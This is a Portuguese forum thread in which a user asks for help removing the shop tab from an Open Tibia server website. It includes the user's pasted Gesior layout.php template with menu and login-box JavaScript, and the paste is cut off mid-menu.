Ir para conteúdo
  • Cadastre-se

(Resolvido) Ajuda com site plz


Posts Recomendados

vai em layout.php e remova a linha buypoints, qulauqer coisa posta seu layput.php q eu faço isso pra vc


Regras Gerais 

 

"Califórnia Brasileira :cool: "

Link para o post
Compartilhar em outros sites

agora o buy points ficou preto e nao da pra entra nele

eu queria na verdade remover a abar "SHOP"

e colocar o !buyvip no jogo

<html xmlns="

http://www.w3.org/1999/xhtml">

<head>

<title><?PHP echo $title ?></title>

<meta name="description" content="Tibia is a free massive multiplayer online role playing game (MMORPG)." />

<meta name="author" content="Gesior" />

<meta http-equiv="content-language" content="en" />

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>

<meta name="keywords" content="free online game, free multiplayer game, ots, open tibia server" />

<link rel="shortcut icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<link rel="icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<?PHP echo $layout_header; ?>

<link href="<?PHP echo $layout_name; ?>/basic.css" rel="stylesheet" type="text/css">

<script type='text/javascript'> var IMAGES=0; IMAGES='http://static.tibia.com/images'; var g_FormField=''; var LINK_ACCOUNT=0; LINK_ACCOUNT='';</script>

<SCRIPT TYPE="text/javascript">

<!-- // Framekiller

setTimeout ("changePage()", 6000);

function changePage()

{

if (parent.frames.length > 2)

{

if (browserTyp == "ie") {

parent.location=document.location;

} else {

self.top.location=document.location;

}

}

}

// -->

</SCRIPT>

<script type="text/javascript">

state = new Array("0", "0", "0", "0", "0");

function TickerAction(id)

{

var line = id.substr(12, 1);

if(state[line] == "0")

{

state[line] = "1";

OpenNews(id);

}

else

{

state[line] = "0";

CloseNews(id);

}

}

function OpenNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "none";

document.getElementById(idMore).style.display = "block";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function CloseNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "block";

document.getElementById(idMore).style.display = "none";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function InitializePage()

{

LoadLoginBox();

LoadMenu();

}

// initialisation of the loginbox status by the value of the variable 'loginStatus' which is provided to the HTML-document by PHP in the file 'header.inc'

function LoadLoginBox()

{

if(loginStatus == "false")

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_login.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif')";

}

else

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-welcome.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_myaccount.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout-over.gif')";

}

}

// mouse-over and click events of the loginbox

function MouseOverLoginBoxText(source)

{

source.lastChild.style.visibility = "visible";

source.firstChild.style.visibility = "hidden";

}

function MouseOutLoginBoxText(source)

{

source.firstChild.style.visibility = "visible";

source.lastChild.style.visibility = "hidden";

}

function LoginButtonAction()

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

}

function LoginstatusTextAction(source)

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=createaccount";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement&action=logout";

}

}

var menu = new Array();

menu[0] = new Object();

var unloadhelper = false;

// load the menu and set the active submenu item by using the variable 'activeSubmenuItem' (provided to HTML-document by PHP in the file 'header.inc'

function LoadMenu()

{

document.getElementById("submenu_"+activeSubmenuItem).style.color = "white";

document.getElementById("ActiveSubmenuItemIcon_"+activeSubmenuItem).style.visibility = "visible";

if(self.name.lastIndexOf("&") == -1)

{

self.name = "news=1&library=0&community=0&forum=0&account=0&support=0<?PHP if($config['site']['shop_system'] == 1) echo "&shops=0"; ?>&";

}

FillMenuArray();

InitializeMenu();

}

function SaveMenu()

{

if(unloadhelper == false)

{

SaveMenuArray();

unloadhelper = true;

}

}

// store the values of the variable 'self.name' in the array menu

function FillMenuArray()

{

while(self.name.length > 0 )

{

var mark1 = self.name.indexOf("=");

var mark2 = self.name.indexOf("&");

var menuItemName = self.name.substr(0, mark1);

menu[0][menuItemName] = self.name.substring(mark1 + 1, mark2);

self.name = self.name.substr(mark2 + 1, self.name.length);

}

}

// hide or show the corresponding submenus

function InitializeMenu()

{

for(menuItemName in menu[0])

{

if(menu[0][menuItemName] == "0")

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "hidden";

document.getElementById(menuItemName+"_Submenu").style.display = "none";

document.getElementById(menuItemName+"_Lights").style.visibility = "visible";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

else

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "visible";

document.getElementById(menuItemName+"_Submenu").style.display = "block";

document.getElementById(menuItemName+"_Lights").style.visibility = "hidden";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

}

}

// reconstruct the variable "self.name" out of the array menu

function SaveMenuArray()

{

var stringSlices = "";

var temp = "";

for(menuItemName in menu[0])

{

stringSlices = menuItemName + "=" + menu[0][menuItemName] + "&";

temp = temp + stringSlices;

}

self.name = temp;

}

// onClick open or close submenus

function MenuItemAction(sourceId)

{

if(menu[0][sourceId] == 1)

{

CloseMenuItem(sourceId);

}

else

{

OpenMenuItem(sourceId);

}

}

function OpenMenuItem(sourceId)

{

menu[0][sourceId] = 1;

document.getElementById(sourceId+"_Submenu").style.visibility = "visible";

document.getElementById(sourceId+"_Submenu").style.display = "block";

document.getElementById(sourceId+"_Lights").style.visibility = "hidden";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

function CloseMenuItem(sourceId)

{

menu[0][sourceId] = 0;

document.getElementById(sourceId+"_Submenu").style.visibility = "hidden";

document.getElementById(sourceId+"_Submenu").style.display = "none";

document.getElementById(sourceId+"_Lights").style.visibility = "visible";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

// mouse-over effects of menubuttons and submenuitems

function MouseOverMenuItem(source)

{

source.firstChild.style.visibility = "visible";

}

function MouseOutMenuItem(source)

{

source.firstChild.style.visibility = "hidden";

}

function MouseOverSubmenuItem(source)

{

source.style.backgroundColor = "#14433F";

}

function MouseOutSubmenuItem(source)

{

source.style.backgroundColor = "#0D2E2B";

}

</script>

</head>

<body onBeforeUnLoad="SaveMenu();" onUnload="SaveMenu();">

<a name="top" ></a>

<div id="ArtworkHelper" style="background-image:url(http://i63.photobuck...d-artwork-1.jpg);" >

<div id="Bodycontainer">

<div id="ContentRow">

<div id="MenuColumn">

<div id="LeftArtwork">

<img id="Statue_1" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="TibiaLogoArtworkTop" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-top.gif" onClick="window.location = '?subtopic=latestnews';" alt="logoartwork" />

<img id="TibiaLogoArtworkBottom" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-bottom.gif" alt="logoartwork" />

<img id="Statue_2" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="LogoLink" src="<?PHP echo $layout_name; ?>/images/header/tibia-logo-artwork-string.gif" onClick="window.location = 'mailto:<?PHP echo $config['server']['ownerEmail']; ?>';" alt="logoartwork" />

</div>

<div id="Loginbox" >

<div id="LoginTop" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif)" ></div>

<div id="BorderLeft" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif)" ></div>

</div>

<div id="LoginButtonContainer" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginButton" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif)" >

<div onClick="LoginButtonAction();" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);"><div class="Button" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif)" ></div>

<div id="ButtonText" ></div>

</div>

</div>

</div>

<div style="clear:both" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_2" onClick="LoginstatusTextAction(this);" onMouseOver="MouseOverLoginBoxText(this);" onMouseOut="MouseOutLoginBoxText(this);" >

<div id="LoginstatusText_2_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif)" ></div>

<div id="LoginstatusText_2_2" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif)" ></div>

</div>

</div>

<div id="BorderRight" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div id="LoginBottom" class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif)" ></div>

</div>

<div id='Menu'>

<div id='MenuTop' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif);'></div>

<div id='news' class='menuitem'>

<span onClick="MenuItemAction('news')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='news_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='news_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-news.gif);'></div>

<div id='news_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-news.gif);'></div>

<div id='news_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='news_Submenu' class='Submenu'>

<a href='?subtopic=latestnews'>

<div id='submenu_latestnews' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_latestnews' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Latest News</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=archive'>

<div id='submenu_archive' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_archive' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>News Archive</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='library' class='menuitem'>

<span onClick="MenuItemAction('library')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='library_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='library_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-library.gif);'></div>

<div id='library_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-library.gif);'></div>

<div id='library_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='library_Submenu' class='Submenu'>

<a href='?subtopic=creatures'>

<div id='submenu_creatures' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_creatures' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Creatures</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=spells'>

<div id='submenu_spells' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_spells' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Spells</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['serverinfo_page'] == 1)

echo "

<a href='?subtopic=serverinfo'>

<div id='submenu_serverinfo' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_serverinfo' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Info</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

<a href='?subtopic=experiencetable'>

<div id='submenu_experiencetable' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_experiencetable' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Experience Table</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='community' class='menuitem'>

<span onClick="MenuItemAction('community')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='community_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='community_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-community.gif);'></div>

<div id='community_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-community.gif);'></div>

<div id='community_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='community_Submenu' class='Submenu'>

<a href='?subtopic=characters'>

<div id='submenu_characters' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_characters' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Characters</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=whoisonline'>

<div id='submenu_whoisonline' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_whoisonline' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Who Is Online?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=highscores'>

<div id='submenu_highscores' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_highscores' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Highscores</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=killstatistics'>

<div id='submenu_killstatistics' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_killstatistics' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Last Kills</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=bans'>

<div id='submenu_bans' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_bans' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Banishments</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=houses'>

<div id='submenu_houses' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_houses' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Houses</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=guilds'>

<div id='submenu_guilds' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_guilds' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Guilds</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=wars'>

<div id='submenu_wars' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_wars' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Wars</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<?PHP

echo "

<div id='forum' class='menuitem'>

<span onClick=\"MenuItemAction('forum')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='forum_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='forum_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-forum.gif);'></div>

<div id='forum_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-forum.gif);'></div>

<div id='forum_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='forum_Submenu' class='Submenu'>

<a href='?subtopic=forum'>

<div id='submenu_forum' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_forum' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Forum</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>";

?>

<div id='account' class='menuitem'>

<span onClick="MenuItemAction('account')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='account_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='account_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-account.gif);'></div>

<div id='account_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-account.gif);'></div>

<div id='account_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='account_Submenu' class='Submenu'>

<a href='?subtopic=accountmanagement'>

<div id='submenu_accountmanagement' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_accountmanagement' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Account Management</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=createaccount'>

<div id='submenu_createaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_createaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Create Account</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=lostaccount'>

<div id='submenu_lostaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_lostaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Lost Account?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['download_page'] == 1)

echo "

<a href='?subtopic=downloads'>

<div id='submenu_downloads' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_downloads' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Downloads</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<div id='support' class='menuitem'>

<span onClick="MenuItemAction('support')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='support_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='support_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-support.gif);'></div>

<div id='support_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-support.gif);'></div>

<div id='support_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='support_Submenu' class='Submenu'>

<a href='?subtopic=tibiarules'>

<div id='submenu_tibiarules' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tibiarules' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Rules</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=tracker'>

